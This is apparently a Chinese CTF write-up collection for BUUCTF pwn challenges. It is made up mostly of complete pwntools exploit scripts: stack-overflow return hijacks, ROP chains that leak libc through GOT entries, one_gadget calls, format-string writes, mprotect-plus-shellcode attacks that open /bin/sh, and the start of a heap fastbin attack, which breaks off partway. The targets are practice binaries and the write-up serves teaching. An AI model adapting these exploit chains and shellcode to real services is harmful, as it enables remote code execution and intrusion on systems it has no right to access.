最简单得,栈溢出修改main 函数得ret地址
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29105
conn = remote(HOST ,PORT)
payload = "A"*0x17 + p64(0x40118A)
conn.sendline(payload)
conn.interactive()
简单得栈溢出,同上
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27676
conn = remote(HOST ,PORT)
payload = "A"*0x48 + p64(0x400611)
conn.recvuntil(">")
conn.sendline(payload)
conn.interactive()
浮点数
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26824
conn = remote(HOST ,PORT)
payload = "A"*0x2c + "\x00\x80\x34\x41"#"\x41\x34\x80\x00"
conn.recvuntil("Let's guess the number.")
conn.send(payload)
conn.interactive()
这个题目猛一看看蒙了,猛一看c++得STL接触的比较少,这个就是用了c++的string对象,然后fgets将sx写入最长32字节的字符串,后面的功能是将I
替换成you
,原本输入长度为32的字符串不足以栈溢出,替换之后长度变长就会实现栈溢出。
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 28382
conn = remote(HOST ,PORT)
payload = "I"*20 + "AAAA" + p32(0x08048F13)
conn.sendline(payload)
pause()
conn.interactive()
最简单的栈溢出,没什么好说的
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25106
conn = remote(HOST ,PORT)
payload = "I"*0x88 + p64(0x40059A)
conn.sendline(payload)
pause()
conn.interactive()
这个题目有点意思,是最最简单的经典传统的栈溢出问题…中间自己因为好久不做栈犯了好几个错误,下面改正一下。
题目分析:漏洞点明显在encrypt函数中的gets是可以导致栈溢出的(注意gets不会因为\x00截断,我之前就忘记了一直想办法…蠢…)strlen函数是可以被\x00截断的,所以下面的加密我们可以绕过
攻击思路:通过构造stack地址,先是利用ROPgadget结合plt表的puts函数泄露puts got表中的内容,然后利用LibcSearcher判断libc版本,plt puts的返回地址放在encrypt函数,再次触发一次栈溢出,指针指向onegadget地址,注意构造一下栈空间满足onegadget触发条件
利用代码
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def encode_func(payload):
conn.recvuntil("Input your choice!\n")
conn.sendline("1")
conn.recvuntil("Input your Plaintext to be encrypted")
conn.sendline(payload)
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 28214
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/ld-2.27.so','./pwn'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so'})
#conn = process("./ciscn_2019_c_1")
#pwnlib.gdb.attach(conn,"b *0x4009DD\nb *0x0400AE2\n")
pause()
'''步骤一:泄露puts got表中的地址内容,并且将返回地址指回encrypt函数'''
encode_addr = 0x4009A0 #encrypt函数地址
pop_rdi_ret = 0x400c83 #pop rdi + ret的地址
puts_got = 0x602020 #puts中got表的地址
puts_plt = 0x4006E0 #puts中plt表的地址
payload = "\x00"*8 +"A"*0x50 #填充,用\x00截断s字符串,用strlen绕过
payload += p64(pop_rdi_ret) #ROPgadget中pop rdi + ret的地址
payload += p64(puts_got) #将puts got地址指向rdi
payload += p64(puts_plt) #调用puts plt表
payload += p64(encode_addr) #puts plt表调用后的返回地址,在plt调用栈空间的下一个位置
encode_func(payload)
conn.recvuntil("Ciphertext\n\n")
content = conn.recvuntil("\n")[:-1]
puts_leak = u64(content.ljust(8,"\x00"))
print "The puts_got leak is",hex(puts_leak)
'''步骤二:LibcSearcher判断libc版本'''
libc = LibcSearcher('puts',puts_leak)
libc_base_addr = puts_leak - libc.dump('puts') #libc基地址
print "The libc base addr is",hex(libc_base_addr)
'''步骤三:再次触发栈溢出'''
one_gadget = libc_base_addr + 0x4f302 #onegadget
payload = "\x00"*0x58 + p64(one_gadget) + "\x00"*0x70 #注意填充\x00
conn.sendline(payload)
conn.interactive()
简单的32位格式化字符串,思路就是把存放在bss段的全局变量清零即可,然后清零的过程中需要一字节一字节的修改,就好了
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 28116
conn = remote(HOST ,PORT)
pause()
conn.recvuntil("your name:")
#payload = "%12p".ljust(8,"\x00")# + p32(0x804C044) "%0c%14$hn"
payload = "%18$hhn%19$hhn%20$hhn%21$hhn".ljust(32,"\x00")
payload += (p32(0x804C044) + p32(0x804C044+1) + p32(0x804C044+2) + p32(0x804C044+3))
conn.send(payload)
conn.recvuntil("your passwd:")
payload = p32(0x0)
conn.send(payload)
conn.interactive()
真的搞不懂和pwn有什么关系
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26693
conn = remote(HOST ,PORT)
pause()
conn.recvuntil("What's your name?")
payload = chr(0x11)*0x35 + "\x00"*20
conn.send(payload)
pause()
conn.interactive()
什么保护都没有的栈溢出…
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29821
conn = remote(HOST ,PORT)
pause()
bin_sh = 0x0804A024
call_system = 0x0804845C
conn.recvuntil("Input:")
payload = "A"*0x8c + p32(call_system) + p32(bin_sh)
conn.send(payload)
pause()
conn.interactive()
这个题目稍微有点意思,本质上是考察32位栈溢出的ROP链如何构造的。
题目分析:首先需要绕过sub_804871F
函数,用输入的一个数字匹配随机数,我们利用strlen函数
的\x00
截断功能绕过检查,并且在构造输入的时候,可以将返回的长度变量v5
覆盖成一个很大的数字
至于为什么控制v5
,因为这个是控制下一个函数输入长度的控制变量
通过这一点就可以在 sub_80487D0
函数中实现栈溢出
然后我的rop链是这么构造的,第一次构造的时候通过调用puts函数泄露libc地址
第一次构造栈溢出的payload内容如下
|------------------------|
| AAAA..... |
|------------------------|
| ......AAAA | ====>0xE7+4长度的随便填充
|------------------------|
| plt_puts | ====>sub_80487D0函数返回地址,执行puts得plt地址
|------------------------|
| main_addr | ====>puts plt得返回地址(需要学习一下plt得原理),返回main函数为了下一次栈溢出得利用
|------------------------|
| read_got | ====>puts函数得输入参数
|------------------------|
第二次构造栈溢出直接onegadget即可,注意多填充一些\x00满足onegadget条件
one_gadget = libc_base_addr + 0x3a819#0x3d2b0
payload = "A" * (0xE7+4) + p32(one_gadget) + p32(0) * 20
conn.send(payload)
最终利用代码如下
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29515
conn = remote(HOST ,PORT)
#pause()
main_addr = 0x08048825 #main主函数地址
read_got = 0x8049FC8 #read中got表的地址
plt_puts = 0x8048548 #puts函数的plt地址
'''第一步:调用puts函数泄露read got中的地址'''
payload = "\x00" + "\xff" *0x18
conn.send(payload)
conn.recvuntil("Correct\n")
payload = "A" * (0xE7+4)
payload += p32(plt_puts)
payload += p32(main_addr)
payload += p32(read_got)
conn.send(payload)
read_leak = conn.recv(4)
read_leak = u32(read_leak)
print "The read_got is",hex(read_leak)
'''步骤二:计算libc的基址'''
libc = ELF("./libc-2.23-1.so")
libc_base_addr = read_leak - libc.symbols['read']
#libc = LibcSearcher('read',read_leak)
#libc_base_addr = read_leak - libc.dump('read')
print "The libc base is",hex(libc_base_addr)
'''步骤三:通过第二次构造栈溢出实现onegadget'''
payload = "\x00" + "\xff" *0x18
conn.send(payload)
conn.recvuntil("Correct\n")
one_gadget = libc_base_addr + 0x3a819#0x3d2b0
payload = "A" * (0xE7+4) + p32(one_gadget) + p32(0) * 20
conn.send(payload)
#pause()
conn.interactive()
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29515
conn = remote(HOST ,PORT)
conn.recvuntil("[+]Please input the length of your name:")
conn.sendline("100")
backdoor = 0x04006EA
conn.recvuntil("[+]What's u name?")
payload = "A"*0x18 + p64(backdoor)
conn.sendline(payload)
conn.interactive()
最简单得溢出,本来以为就是利用一下get_flag函数,但是现实还是啪啪啪打脸啊,人家flag在根目录下,所以我们需要用mprotect+read+shellcode
得方法
思路就是利用栈溢出,用mprotect给bss段一个位置授权可执行,然后用read函数将shellcode写在该位置上,最后跳转到bss执行即可
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29928
conn = remote(HOST ,PORT)
file = ELF("./get_started_3dsctf_2016")
main_addr = 0x8048A20
mprotect = file.symbols['mprotect']
bss = 0x80EC000 #注意mprotect必须是整块
read = file.symbols['read']
execute_size = 0x30
'''步骤一:利用mprotect函数修改bss段权限位7(可读可写可执行),返回地址main'''
payload = "A"*0x38 + p32(mprotect) + p32(main_addr) + p32(bss) + p32(execute_size) + p32(7)
conn.sendline(payload)
'''步骤二:利用read写入shellcode至bss段,返回地址bss段'''
payload = "A"*0x38 + p32(read) + p32(bss) + p32(0) + p32(bss) + p32(execute_size)
conn.sendline(payload)
'''步骤三:bss段写入shellcode'''
shellcode = "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"
conn.sendline(shellcode)
conn.interactive()
和ciscn_2019_c_1解题代码一样,条件明明都没变
简单得64位栈溢出
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25133
conn = remote(HOST ,PORT)
#conn = process("./level2_x64")
#pwnlib.gdb.attach(conn,"b *0x040061F\n")
pause()
pop_rdi_ret = 0x04006b3
bin_sh = 0x600A90
call_system = 0x400603
conn.recvuntil("Input:")
payload = "A"*0x88 + p64(pop_rdi_ret) + p64(bin_sh) + p64(call_system)
conn.send(payload)
pause()
conn.interactive()
最简单得栈溢出
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26134
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/ld-2.27.so','./pwn'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so'})
#conn = process("./babyrop")
#pwnlib.gdb.attach(conn,"b *0x8048823\n")
#pause()
pop_rdi_ret = 0x0400683
bin_sh = 0x0601048
call_system = 0x04005E3
payload = "A"*0x18 + p64(pop_rdi_ret) + p64(bin_sh) + p64(call_system)
conn.sendline(payload)
#pause()
conn.interactive()
解题思路和get_started_3dsctf_2016一摸一样
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25916
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/ld-2.27.so','./pwn'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so'})
#conn = process("./not_the_same_3dsctf_2016")
#pwnlib.gdb.attach(conn,"b *0x08048A00\n")
pause()
file = ELF("./not_the_same_3dsctf_2016")
main_addr = 0x80489E0
mprotect = file.symbols['mprotect']
bss = 0x80EC000 #注意mprotect必须是整块
read = file.symbols['read']
execute_size = 0x30
'''步骤一:利用mprotect函数修改bss段权限位7(可读可写可执行),返回地址main'''
payload = "A"*0x2d + p32(mprotect) + p32(main_addr) + p32(bss) + p32(execute_size) + p32(7)
conn.sendline(payload)
'''步骤二:利用read写入shellcode至bss段,返回地址bss段'''
payload = "A"*0x2d + p32(read) + p32(bss) + p32(0) + p32(bss) + p32(execute_size)
conn.sendline(payload)
pause()
'''步骤三:bss段写入shellcode'''
shellcode = "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"
conn.sendline(shellcode)
conn.interactive()
还是栈溢出,然后泄露got地址在onegadget就行了
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 28244
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/ld-2.27.so','./pwn'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so'})
#conn = process("./ciscn_2019_n_5")
#pwnlib.gdb.attach(conn,"b *0x04006AA\n")
pause()
bss = 0x601080
pop_rdi_ret = 0x400713
shellcode = ""
puts_got = 0x601018
puts_plt = 0x4004E0
main = 0x400636
'''1'''
conn.recvuntil("tell me your name")
conn.sendline(" ")
conn.recvuntil("What do you want to say to me?")
payload = "A"*0x28 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
conn.sendline(payload)
conn.recvuntil("\n")
puts_leak = conn.recvuntil("\n")[:-1]
puts_leak = u64(puts_leak.ljust(8,"\x00"))
print hex(puts_leak)
libc = LibcSearcher('puts',puts_leak)
libc_base_addr = puts_leak - libc.dump('puts') #libc基地址
print "The libc base addr is",hex(libc_base_addr)
'''2'''
conn.recvuntil("tell me your name")
conn.sendline(" ")
conn.recvuntil("What do you want to say to me?")
one_gadget = libc_base_addr + 0x4f302
payload = "A"*0x28 + p64(one_gadget) + p64(0)*16
conn.sendline(payload)
conn.interactive()
无语…这是哪门子pwn?
nc node4.buuoj.cn 26997
这个题目居然能看到其他有趣的地,首先发现IDA无法正常编辑,现象是
通过查询资料https://blog.csdn.net/CSNN2019/article/details/117219906应该是call的调用函数出了问题
修改方法
1.在option-general-disssembly-stackpoint
2.ALT + K 直接修改栈值
然后单纯从这道题来看也是稍微有点意思的,首先漏洞点在AddLog
和GetFlag
的组合之间,源于GetFlag
函数中的strcpy
函数会将src长度长于栈空间的内容复制导致栈溢出。
而且32位的栈空间和libc地址都是填满的,方便我们构造ROP链
我的解题方法如下
/bin/sh;
写入栈空间,用__environ计算偏移量,然后调用system函数getshell# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def AddLog(payload):
conn.sendline("1")
conn.recvuntil("Please input new log info:")
conn.sendline(payload)
def GetFlag():
conn.sendline("4")
def Display():
conn.sendline("2")
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26445
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./ciscn_2019_ne_5'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
#conn = process("./ciscn_2019_ne_5")
#pwnlib.gdb.attach(conn,"b *0x080486FC\nb *0x08048817\n")
pause()
exit = 0x8048923 #exit地址
puts_plt = 0x80484C0 #puts plt地址
printf_got = 0x804A014 #printf got表地址
main = 0x8048722 #main函数地址
system_plt=0x80484D0 #system plt地址
'''======第一步:泄露printf在got表中的地址,从而计算libc基地址======'''
conn.recvuntil("Please input admin password:")
conn.sendline("administrator")
conn.recvuntil("Welcome!")
payload_test = "A"*0x4c+ p32(puts_plt) + p32(main) + p32(printf_got)
AddLog(payload_test)
GetFlag()
conn.recvuntil("The flag is your log:")
conn.recv(len(payload_test)+1)
printf_leak = conn.recv(4) #泄露地址
printf_leak = u32(printf_leak)
print "The printf is",hex(printf_leak)
'''判断libc版本,计算libc基地址'''
libc = LibcSearcher('printf',printf_leak)
libc_base = printf_leak - libc.dump("printf")
'''根据libc基地址计算environ变量偏移'''
environ = libc_base + libc.dump("environ")
print "The environ is",hex(environ)
'''======第二步:泄露environ地址内容======'''
conn.recvuntil("Please input admin password:")
conn.sendline("administrator")
conn.recvuntil("Welcome!")
gets_addr = libc_base + libc.dump("gets") + 1
print "The gets addr is",hex(gets_addr)
payload_attack = "A"*0x4c+ p32(puts_plt) + p32(main) + p32(environ)
AddLog(payload_attack)
GetFlag()
conn.recvuntil("The flag is your log:")
conn.recv(len(payload_test)+1)
environ_leak = conn.recv(4)
environ_leak = u32(environ_leak)
print "The environ_leak is",hex(environ_leak)
stack_target = environ_leak - 0x3f0 #计算我们输入对的src变量在栈空间的地址
'''======第三步:泄露environ地址内容======'''
conn.recvuntil("Please input admin password:")
conn.sendline("administrator")
conn.recvuntil("Welcome!")
#调用system函数,stack_target是我们输入字符串的位置
payload_attack = "/bin/sh;".ljust(0x4c,"A")+ p32(system_plt) + p32(exit) + p32(stack_target)
AddLog(payload_attack)
GetFlag() #触发漏洞
conn.interactive()
简单的栈溢出,用write函数泄露read got表地址,然后利用onegadget实现控制
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25774
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./ciscn_2019_ne_5'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
#conn = process("./2018_rop")
#pwnlib.gdb.attach(conn,"b *0x0804849C\n")
pause()
'''步骤一:泄露read got表地址'''
read_got = 0x0804A000
write_plt=0x080483A0
main = 0x080484C6
payload = "A"*0x8c + p32(write_plt) + p32(main) + p32(0x1) + p32(read_got) + p32(0x4)
conn.sendline(payload)
read_leak = u32(conn.recv(4))
libc = LibcSearcher("read",read_leak)
libc_base = read_leak - libc.dump("read")
print "The libc base is",hex(libc_base)
'''步骤二:利用onegadget'''
one_gadget = libc_base + 0x672a0
payload = "A"*0x8c + p32(one_gadget) + p32(0)*4
conn.sendline(payload)
conn.interactive()
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25861
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./ciscn_2019_ne_5'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
#conn = process("./bjdctf_2020_babyrop")
#pwnlib.gdb.attach(conn,"b *0x040068A\nb *0x4006AC\nb *0x04006A5\n")
pause()
read_got = 0x0601020
puts_got = 0x0601018
__libc_start_main = 0x0601028
setvbuf = 0x0601030
puts_plt=0x4004E0
main = 0x04006AD
pop_rdi_ret = 0x400733
conn.recvuntil("Pull up your sword and tell me u story!")
payload = "\x00"*0x28 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
pause()
conn.sendline(payload)
conn.recv()
puts_leak = conn.recv(6).ljust(8,"\x00")
puts_leak = u64(puts_leak)
print "The __libc_start_main got is",hex(puts_leak)
libc = LibcSearcher("puts",puts_leak)
libc_base = puts_leak - libc.dump("puts")
print "The libc base is",hex(libc_base)
conn.recvuntil("Pull up your sword and tell me u story!")
one_gadget = libc_base + 0x170ed2#0x4f302 #0x170ed2
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
print "system addr is ",hex(system_addr)
print "/bin/sh is ",hex(bin_sh_addr)
envrion = libc_base + 0x170ed2
pop_r12_r13_r14_r15_ret = 0x40072C
#payload = "\x00"*0x28 + p64(one_gadget) + p64(0)*7
payload = "A"*0x28 + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
#print "="*0x30
conn.sendline(payload)
''''''
conn.interactive()
简单的无符号整数的判断绕过长度限制,然后任意长度输入实现栈溢出,没什么难度
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27768
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./ciscn_2019_ne_5'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
#conn = process("./bjdctf_2020_babyrop")
#pwnlib.gdb.attach(conn,"b *0x040068A\nb *0x4006AC\nb *0x04006A5\n")
pause()
call_system = 0x40072A
conn.recvuntil("[+]Please input the length of your name:")
conn.sendline("-1")
payload = "A"*0x18 + p64(call_system)
conn.sendline(payload)
conn.interactive()
格式化字符串修改全局变量
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26653
conn = remote(HOST ,PORT)
pause()
#call_system = 0x80485DF
payload = "%4c%14$hhn\x00\x00" + p32(0x804A02C)
conn.sendline(payload)
conn.interactive()
这个题目很有趣,首先漏洞很容易,就是输入长度以后使用read函数进行输入一个字符串,因为自定义的get_n使用的是unsigned int,所以输入负数就可以实现栈溢出。
然后下面有两种方法实现利用
方法一:使用syscall调用函数
栈溢出在整体的思路不变的情况下,使用int 80h调用shell
调用syscall我们需要控制eax
、ebx
、ecx
、edx
,实现条件为
eax -> 11 (execve)
ebx -> "/bin/sh"
ecx -> NULL
edx -> NULL
我们先整理出来需要用到的指令
inc_eax_ret = 0x80484D3
inc_ecx_ret = 0x80484D7
pop_ebx_ret = 0x804835d
pop_edi_ebp_ret = 0x804864E
pop_ebp_ret = 0x804864F
add_ecx_ecx_ret = 0x804849a
int_80 = 0x80484D0
printf_plt = 0x8048370
gets_n = 0x80484E3
bin_sh_bss = 0x0804A028
null_ecx_pos = 0x8048851
第一步:利用get_n函数将/bin/sh
写入到bss段
第二步:调用printf函数打印/bin/sh
,这个时候eax和ecx被控制成字符串长度7
第三步:利用inc eax
控制好eax值
第四步:利用pop ebx控制ebx
第五步:利用add ecx,ecx
和 inc ecx
将ecx
控制到null_ecx_pos
第六步:调用int 80h
直接看代码把,但是这个题目不能这么打,会因为程序异常失败
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26332
conn = remote("localhost" ,1234)
#conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./ciscn_2019_ne_5'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
#conn = process("./pwn2_sctf_2016")
#pwnlib.gdb.attach(conn,"b *0x080485B7\nb *0x0804859D\n")
pause()
inc_eax_ret = 0x80484D3
inc_ecx_ret = 0x80484D7
pop_ebx_ret = 0x804835d
pop_edi_ebp_ret = 0x804864E
pop_ebp_ret = 0x804864F
add_ecx_ecx_ret = 0x804849a
int_80 = 0x80484D0
printf_plt = 0x8048370
gets_n = 0x80484E3
bin_sh_bss = 0x0804A028
null_ecx_pos = 0x8048851
conn.recvuntil("How many bytes do you want me to read?")
conn.sendline("-1")
conn.recvuntil("Ok, sounds good. Give me")
payload = "A" * 0x30
#1 向bss段中写入/bin/sh
payload += (p32(gets_n) + p32(pop_edi_ebp_ret) + p32(bin_sh_bss) + p32(0x11111111))
#2 输出bss段中写入的/bin/sh,此时控制eax和ecx为0x7
payload += (p32(printf_plt) + p32(pop_ebp_ret) + p32(bin_sh_bss))
#3 将eax加至0xb
payload += (p32(inc_eax_ret)*4)
#4 ebx指向ebx
payload += (p32(pop_ebx_ret) + p32(bin_sh_bss))
#5 这个很精华,控制ecx通过add和inc操作从0x7增加至一个指向为NULL的地址
ecx_now = 0x7
target_ecx = null_ecx_pos
info = null_ecx_pos
temp = []
#如果需要+1填充0,如果需要*2填充1
while info != ecx_now:
if info < ecx_now * 2:
temp.append(0)
info -= 1
elif info % 2 == 0:
temp.append(1)
info /= 2
else:
temp.append(0)
info -= 1
for index in range(len(temp)-1,-1,-1):
if temp[index] == 0:
payload += p32(inc_ecx_ret)
elif temp[index] == 1:
payload += p32(add_ecx_ecx_ret)
#6 触发int 80
payload += p32(int_80)
conn.sendline(payload)
pause()
conn.sendline("/bin/sh\x00")
conn.interactive()
方法二:知道libc情况下计算调用system函数
这个就是一般的栈溢出的利用思路,只不过注意buuctf的libc是在网站上给了的,和libcsearcher下载的不太一样
然后再寻找/bin/sh
字符串学到了新方法,这个方法直接放代码了,很清楚了
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25725
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./ciscn_2019_ne_5'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
#conn = process("./pwn2_sctf_2016")
#pwnlib.gdb.attach(conn,"b *0x080485B7\nb *0x804852F\n")
'''步骤一:利用栈溢出泄露libc地址,调用printf函数'''
printf_plt = 0x8048370
vlun = 0x804852F
printf_got = 0x804A00C
__libc_start_main = 0x804a018
conn.recvuntil("How many bytes do you want me to read?")
conn.sendline("-1")
conn.recvuntil("Ok, sounds good. Give me")
payload = "A"*0x30 + p32(printf_plt) + p32(vlun) + p32(__libc_start_main) #返回vuln函数
conn.sendline(payload)
conn.recvuntil("\n")
__libc_start_main_leak = u32(conn.recv(4))
print "The __libc_start_main leak is",hex(__libc_start_main_leak)
#判断libc的版本
libc = LibcSearcher("__libc_start_main",__libc_start_main_leak)
libc_base = __libc_start_main_leak - libc.dump("__libc_start_main")
print "The libc base is",hex(libc_base)
'''步骤二:调用system函数'''
conn.recvuntil("How many bytes do you want me to read?")
conn.sendline("-1")
conn.recvuntil("Ok, sounds good. Give me")
system = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump("str_bin_sh") #这个搜索/bin/sh字符串
exit = libc_base + libc.dump("exit") #需要使函数正常退出,否则会报错timeout: the monitored command dumped core
payload = "A"*0x30 + p32(system) + p32(exit) + p32(bin_sh)
conn.sendline(payload)
conn.interactive()
这个题目可以说是堆溢出的经典题目了,整体上思路是利用fill函数的写溢出,通过Chunk Extend的方法构造fake chunk,再泄露出main_arena地址,然后用fastbin bin attack控制malloc hook和realloc hook实现onegadget
函数功能很简单,不再过多赘述,具体的细节再下面的步骤中提及
第一步:利用Chunk Extend制造fake chunk
首先是为什么一定要这样?因为程序中对dump内容的长度是有限制的
'''步骤一:利用Chunk Extend,伪造第2块的长度'''
allocate(0x90) #0
allocate(0x20) #1
allocate(0x20) #2
allocate(0x90) #3
allocate(0x20) #4
allocate(0x60) #5
allocate(0x20) #6
allocate(0x60) #7
allocate(0x20) #8
payload = "A"*0x20 + p64(0) + p64(0xd1) #通过对1块的越界写伪造2块长度
fill(1,payload)
free(2)
